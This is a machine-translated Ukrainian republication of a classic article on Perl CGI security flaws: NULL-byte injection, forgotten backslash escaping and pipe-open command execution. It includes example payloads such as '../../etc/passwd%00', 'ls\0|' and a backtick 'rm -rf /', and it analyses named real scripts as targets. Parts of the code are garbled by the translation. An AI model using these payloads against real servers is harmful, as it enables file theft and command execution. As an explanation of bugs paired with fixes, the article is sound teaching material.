Проблеми CGI на Perl, Perl, Програмування, статті

Введення

Мені здається, що я повинен трохи пояснити про що буде йти мова. По більшій частини я сам писав і переглядав різні CGI і намагався розібратися з тим, як прибрати ті кілька проблем, які, по-моєму, є дірками в системі. На цьому я закруглити перейду до діркам.

Напівфабрикат

Отруйний NULL байт

Зверніть увагу: назва `Poison NULL byte` спочатку був використаний Olaf Kirch в листі в Bugtraq. Мені воно сподобалося і воно підходить. Тому я його використовую. Завдяки Olaf.

Коли “root”! = “Root”, але в теж час “root” == “root” (вже збентежені?)? Коли ви змішуєте мови програмування.

Одного разу ввечері мене зацікавило, що ж саме може Perl і чи можу я змусити щось йти не так, як це очікується. Так я почав передавати дуже критичні дані різних системних викликів і функцій. Нічого захоплюючого не відбулося крім однією примітною речі …

Як ви бачите, я намагався відкрити конкретний файл, “rfp.db”. Я використовував фальшивий web-сценарій щоб отримати вхідний значення “rfp” до якого додається “. db” і потім відкривається файл. У Perl основна частина скрипта виглядає приблизно так:

        # parse $user_input
        $database="$user_input.db";
        open(FILE "<$database");

Чудово. Я передаю 'user_input = rfp' і скрипт намагається відкрити "rfp.db". Все досить просто (давайте поки не будемо розглядати явного упущення
/../).

Але цікаве почалося коли я передав 'user_input = rfp% 00'. Perl виконує $ Database = "rfp \ 0.db" і потім намагається відкрити $ database. Наслідки? Він відкрив "rfp" (або міг би відкрити якби він існував). Що ж сталося з ". Db"? Це цікаво.

Бачте, Perl дозволяє нульові символи в якості даних містяться в змінної. На відміну від C NUL не є кінцевим символом рядка. Але що лежать нижче виклики системи / ядра написані на "С". Так що "root"! = "Root \ 0". Але виклики системи / ядра написані на С, який розпізнає NUL як роздільник рядка. Що виходить в результаті? Що Perl передає "rfp \ 0.db", але лежать нижче бібліотеки зупиняються коли зустрічають перший NUL.

Що, якщо у нас є скрипт, який дозволяє окремим молодшим адміністраторам міняти паролі будь-яких користувачів крім root? Код може виглядати приблизно так:

        $user=$ARGV[1]  # user the jr admin wants to change
        if ($user ne "root"){ # Робити все що завгодно з цим користувачем}
 (** ЗАУВАЖЕННЯ: тут показана спрощена форма і теорія щоб тільки проілюструвати проблему)

Так що якщо молодший адміністратор спробує 'root' як ім'я, він не зможе щось зробити. Але якщо він передасть 'root \ 0', то скрипт Perl завершить перевірку успішно і виконає блок. Тепер, коли системний виклик переданий (якщо тільки не все написано на Perl ... що можливо, але неймовірно), цей NUL буде успішно втрачено і всі дії будуть проісзодіть над записом root.

Поки сама по собі ця проблема не є проблемою безпеки, але є досить цікавою особливістю, за якою можна стежити. Я бачив безліч CGI, які додають ". Html" до будь-яких вводиться даними для отримання результуючої сторінки. Тобто:

page.cgi?page=1

Показує мені 1.html. Це не зовсім безпечно, оскільки додає “. Html”, як ви могли б подумати, в крайньому випадку я можу отримати тільки “. html” сторінку. Але якщо ми пошлемо

page.cgi?page=page.cgi%00 (%00 == ‘\0’ escaped)

Те скрипт видасть нам копію власних текстів. Навіть перевірка за допомогою опції Perl ‘-e’ не пройде:

$file=”/etc/passwd\0.txt.whatever.we.want”;
die(“hahaha! Caught you!) if($file eq “/etc/passwd”);
if (-e $file){
open (FILE, “>$file”);}

Це проскочить і (якщо насправді існує / etc / passwd) відкриє його на запис.

Рішення? Дуже просте! Видаліть нулі. У Perl це всього лише

        
        $insecure_data=~s/\0//g;

Помічені: не замінюйте їх набором метасимволів! Повністю видаліть їх!

Зворотній Слеш

Якщо ви загляньте в FAQ з питань безпеки на WWW сервері W3C, то знайдете, що рекомендується наступний список метасимволів:

        &;`'\"|*?~<>^()[]{}$\n\r

Я ж знайшов дуже цікавим, що все, здається, забули про зворотний слеш (‘\’), може бути це через те, як записується керуючий код на Perl:

        s/([\&;\`'\\\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g;

З усіма цими зворотними слеш, які коментують [] () {} і т.д. забуваєш про необхідність переконатися, що і зворотний слеш тут так само перерахований (тут він ‘\ \’), через те, що деякі люди просто не розбираються в регулярних виразах і, бачачи присутність зворотного слеша, думають що він так само перерахований.

Так, в кінці кінців, чому ж це важливо? Уявіть, що у вас є наступна рядок в CGI:

        user data `rm -rf /`

І ви проганяєте її через вашу командну послідовність, яка перетворює її в

        user data \`rm -rf /\`

яка тепер може бути безпечно виконана в командах шелл і т.д. Тепер, давайте уявимо, що ви забули закоментувати зворотний слеш. Користувач вводить такий рядок:

        user data \`rm -rf / \`

ваш код перетворює її в:

        user data \\`rm -rf / \\`

Подвійний зворотний слеш буде звернений про одиночний зворотний слеш в даних, залишаючи лапки не закоментовані. Що призведе до успішного виконання `Rm-rf / \`. Звичайно, при такому підході вам завжди доводиться мати справу з підробленими зворотним слешем. Те, що ви залишите зворотний слеш як останній символ в рядку викличе помилку при зверненні Perl до системного виклику або помилку з лапками (по крайней мере в попередньому прикладі). Ви повинні вислизнути від цього 😉 (це цілком можливо) …

Інший цікавий ефект пов’язаний із зворотним слешем виходить з наступного коду, який забороняє зворотний шлях в директоріях:

        s/\.\.//g;

Все, що він робить – видаляє подвійні точки, ефективно усуваючи звернення до файлам більш високого рівня, так що

        /usr/tmp/../../etc/passwd

перетвориться на

        /usr/tmp///etc/passwd

що не спрацює (майте на увазі – повторні слеші дозволені. Спробуйте ‘ls-l
/etc////passwd’)

А тепер введемо нашого друга – зворотний слеш. Давайте дамо наступну сходинку:

        /usr/tmp/.\./.\./etc/passwd

регулярне вираження не співпаде із зворотного слеша. А тепер дивіться, як використовує таке ім’я Perl:

        $file="/usr/tmp/.\\./.\\./etc/passwd";
        $file=s/\.\.//g;
        system("ls -l $file");

Зверніть увагу: у прикладі використаний подвійний зворотний слеш, щоб Perl вставив одиночний – інакше Perl буде вважати, що ви просто коментуєте крапку.

З точки зору даних рядок є / usr / tmp /. \. /. \. / Etc / passwd

У той же час, це працює тільки на виклик system і виклик зі зворотним лапками. -E в Perl та open (не-конвеєрний) не будуть працювати:

        $file="/usr/tmp/.\\./.\\./etc/passwd";
        open(FILE, "<$file") or die("No such file");

"Помре" з діагностикою "No such file". По-моєму це тому, що потрібно йшов для перетворення '\.' в '.'.

Рішення? Переконайтеся, що ви коментуєте зворотний слеш. Дуже просто.

Ця шкідлива труба

У Perl додавання '|' (конвеєр) до кінця імені файлу в операторі open змушує Perl виконати зазначений файл а не відкрити його. Так

        open(FILE, "/bin/ls")

видасть вам купу двійкового коду, але

        open(FILE, "/bin/ls|")

насправді запустить / bin / ls. Зауважте, що регулярний вираз

        s/(\|)/\\$1/g

Запобіжить це (Perl "помре" з діагностикою 'unexpected end of file' оскільки sh потрібно наступний рядок, яку позначає '\'. Якщо ви знайдете спосіб обійти це - будь ласка дайте мені знати).

Тепер ми можемо узагальнити ситуацію з іншими методами, показаними вище. Давайте припустимо, що $ FORM це рядок, послана користувачем на вхід CGI. Спочатку у нас є:

        open(FILE, "$FORM")

Так ми можемо встановити $ FORM в "ls |" щоб отримати список директорії. Тепер, припустимо ми маємо:

        $filename="/safe/dir/to/read/$FORM"
        open(FILE, $filename)

тоді нам треба певним чином вказати де знаходиться "ls", так що ми встановимо $ FORM в ".. /.. /.. /.. / bin / ls |", що дасть нам каталог директорії. Оскільки це конвеєрний open наша техніка із зворотним слешем може бути використана, якщо вона застосовна, щоб обійти анти-зворотний-хід в директоріях.

До сих пір ми могли використовувати опції командного рядка в команді. Наприклад, використовуючи наведений вище шматок коду, ми могли встановити $ FORM в "Touch / myself |" щоб створити файл / myself

Зараз у нас більш складна ситуація:

        $filename="/safe/dir/to/read/$FORM"
        if(!(-e $filename)) die("I don't think so!")
        open(FILE, $filename)

Тепер нам доведеться залишити в дурнях '-e'. Проблема в тому, що '-e' відвалиться, якщо спробує знайти 'ls |' оскільки такого не існує - вона переглядає ім'я файлу разом з цим конвеєром в кінці. Таким чином нам треба прибрати конвеєр для-e але залишити його для того, щоб його бачив Perl. Що-небудь приходить на розум? Отруйний NULL - ось наше спасіння! Все що треба зробити - встановити $ FORM в "ls \ 0 |" (або у формі керуючих символів web "Ls% 00 |". Після цього '-e' перевіряє наявність 'ls' (він зупиняється на NULL ігноруючи конвеєр). У той же час Perl бачить конвеєрі і відловлює його і ... виконує нашу команду, він зупиняється на NULL - це означає, що ми не можемо поставити опції командного рядка. Може бути цей приклад покаже краще:

        $filename="/bin/ls /etc|"
        open(FILE, $filename)

Це дає нам каталог директорії / etc

        $filename="/bin/ls /etc\0|"
        if(!(-e $filename)) exit;
        open(FILE, $filename)

Доведеться так, тому що '-e' побачить, що "/ bin / ls / etc" не існує

        $filename="/bin/ls\0 /etc|"
        if(!(-e $filename)) exit;
        open(FILE, $filename)

Це буде працювати, але ми отримаємо лістинг поточного каталогу (як у випадку з просто 'ls'), а не лістинг директорії / etc.

Я хочу також відмітити для збиткових програмістів: якби ледачі програмісти на Perl (не всі, а тільки ліниві) витрачали б трохи часу і вказували б режим доступу до файлу, до мови б не йшло про подібну помилку.

        $bug="ls|"
        open(FILE, $bug)
        open(FILE, "$bug")

працює, але

      
        open(FILE, "<$bug")
        open(FILE, ">$bug")
        open(FILE, ">>$bug") і т.д. і т.п.

не працює. Якщо ви хочете читати файл, то відкрийте "<$file" а не просто $ file. Вставивши всього один символ "менше " ви захистите і себе і свій сервер від купи неприємностей.

OK, тепер, коли у нас є зброя, давайте займемося противником.

(Беззахисні) скрипти Perl в цьому житті

Наш перший CGU я взяв із freecode.com. Це адміністратор рекламних банерів. З файлу CGI:

        #       First version 1.1
        #       Dan Bloomquist dan@lakeweb.net

Тепер перший приклад ... Дан розбирає всі змінні вхідний форми в% DATA. Він не виключає ні '..' ні NUL. Погляньмо на шматочок коду:

        #This sets the real paths to the html and lock files.
        #It is done here, after the POST data is read.
        #of the classified page.
        $pageurl= $realpath . $DATA{ 'adPath' } . ".html";
        $lockfile= $realpath . $DATA{ 'adPath' } . ".lock";

Використовуючи 'adPath = /.. /.. /.. /.. /.. / Etc / passwd% 00' ми можемо вказати на / Etc / passwd. Те ж саме з $ lockfile. Ми не можемо використовувати конвеєр, тому що він додає ". html" / ". lock" в кінці (ви, звичайно, можете спробувати - але працювати не буде 😉

        #Read in the classified page
        open( FILE,"$pageurl" ) || die "can't open to read 
                $pageurl: $!\n";
        @lines= ;
        close( FILE );

Тут Дан зчитує $ pageurl, яка є зазначеним нами файлом. На щастя для Дана, потім він негайно відкриває $ pageurl на запис. Так що щоб ми не вказали для читання - нам потрібні так само права на запис. Це обмежує можливості злому. Але це служить прекрасним прикладом подібної проблеми.

Досить цікаво, що Дан потім продовжує:

        #Send your mail out.
        #
              open( MAIL, "|$mailprog $DATA{ 'adEmail' }" )
                 || die "can't open sendmail: $adEmail: $!\n";

Хмммм ... тут ваші обов'язкові ні-ні .... Дан не розбирає метасимволи shell, так що 'adEmail' стає жахливим.

Досліджуючи далі freecode.com, я знайшов просту програмку запису даних з форм:

        # flexform.cgi
        # Written by Leif M. Wright
        # leif@conservatives.net

Лейф заносить дані в% contents і не коментує метасимволи shell. Потім він робить наступне:

        $output = $basedir . $contents{'file'};
        open(RESULTS, ">>$output");

Використовуючи звичайний зворотний шлях в директоріях ми можемо навіть не додавати NUL. Але знову де нам необхідно везіння з дозволами на файл, який ми хочемо відкрити. І знову ж дірка з конвеєром не працюватиме, оскільки використовується режим додавання до файлу ('>>').

Тепер LWGate, який є WWW-інтерфейсом до багатьох популярним списками розсилки.

        # lwgate by David W. Baker, dwb@netspace.org # 
        # Version 1.16 #

Дейв поміщає розібрані змінні форм у% CGI, потім:

        # The mail program we pipe data to
        $temp = $CGI{'email'}; 
        $temp =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g; 
        $MAILER = "/usr/sbin/sendmail -t -f$temp"
        open(MAIL,"| $MAILER") || &ERROR('Error Mailing Data')

Хм ... здається Дейв забув зворотний слеш в регулярному виразі. Ай-яй-яй.

Так. Тепер давайте подивимося на одне з багатьох програм - "візків для покупок ". Знову ж з freecode.com, Perlshop.

        $PerlShop_version = 3.1; 
        # A product of ARPAnet Corp. - 
                perlshop@arpanet.com, www.arpanet.com/perlshop 

Цікавим є наступне:

        open (MAIL, "|$blat_loc - -t $to -s $subject") 
                || &err_trap("Can't open $blat_loc!\n")

$ To це явно визначуваний користувачем email. Blad - поштова програма NT. Метасимволи в NT це <>& |% (Щось ще?).

Пам'ятайте про шкідливу трубу? (Сподіваюся, що пам'ятаєте ... це всього парою параграфів вище!). Зізнаюся, це не найбільш вдала помилка, але це я її знайшов. Давайте пройдемося далі по архіву скриптів Матта.

        # File Download                     Version 1.0  
        # Copyright 1996 Matthew M. Wright  mattw@worldwidemart.com

Спочатку він вибирає дані в $ Form (нічого не коментуючи). Потім виконує наступне:

        $Request_File = $BASE_DIR . $Form{'s'} . '/' . $Form{'f'};
        if (!(-e $filename)) {
                &error('File Does Not Exist');
        }
        elsif (!(-r $filename)) {
                &error('File Permissions Deny Access');
        }
        open(FILE,"$Request_File");
                while () {
                        print;
                }

Це цілком задовольняє критеріям 'проблеми шкідливої ​​труби' (tm). Є перевірка '-e', так що ми не можемо використовувати аргументи командного рядка. Оскільки спочатку він приклеює $ BASE_DIR нам доведеться використовувати зворотний шлях в директорії.

Упевнений, що читаючи вище ви зустрілися з простіший проблемою. Як щодо f =.. /.. /.. /.. /.. /.. / etc / passwd? Так, він існує і може бути прочитаний. таким чином вам його повинні показати. І покажуть. Але з іншого боку: весь доступ до download.cgi записується в журнал наступним кодом:

        open(LOG,">>$LOG_FILE");
            print LOG "$Date|$Form{'s'}|$Form{'c'}|$Form{'f'}\n";
        close(LOG);

Так що, прихована камера спостерігає за всім, що ви робите. Але в будь-якому випадку - не добре заподіювати зло серверів сторонніх людей. 😉

Тепер політаємо разом з BigNoseBird.com. Я маю на увазі:

        bnbform.cgi
        #(c)1997 BigNoseBird.Com
        #  Version 2.2 Dec. 26, 1998

Найцікавіше відбувається після того, як скрипт відкриває конвеєр до сендмейлу як MAIL:

          if ($fields{'automessage'} ne "")
           {
            open (AM,"< $fields{'automessage'}");
            while ()
             {
              chop $_;
              print MAIL "$_\n";
             }

Ще одна проста річ. BNB не робить якого-небудь розбору вхідних змінних користувачів ($ fields), так що ми можемо вказати будь-який файл як 'automessage'. Якщо він доступний на читання контексту веб-сервера він буде посланий на будь-яку адресу, який ми вкажемо (принаймні теоретично).

А ось і кінець

Так, так. До цього часу я злегка втомився від розбору програм на Perl. Я залишу трошки і вам, в якості домашнього завдання. І якщо ви щось знайдете - черкніть мені пару рядків - особливо якщо ви знайдете скрипти, де можна використовувати 'проблему шкідливої ​​труби'. На цьому все. До нових зустрічей.

Greets can be found at http://www.el8.org/~rfp/greets.html

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*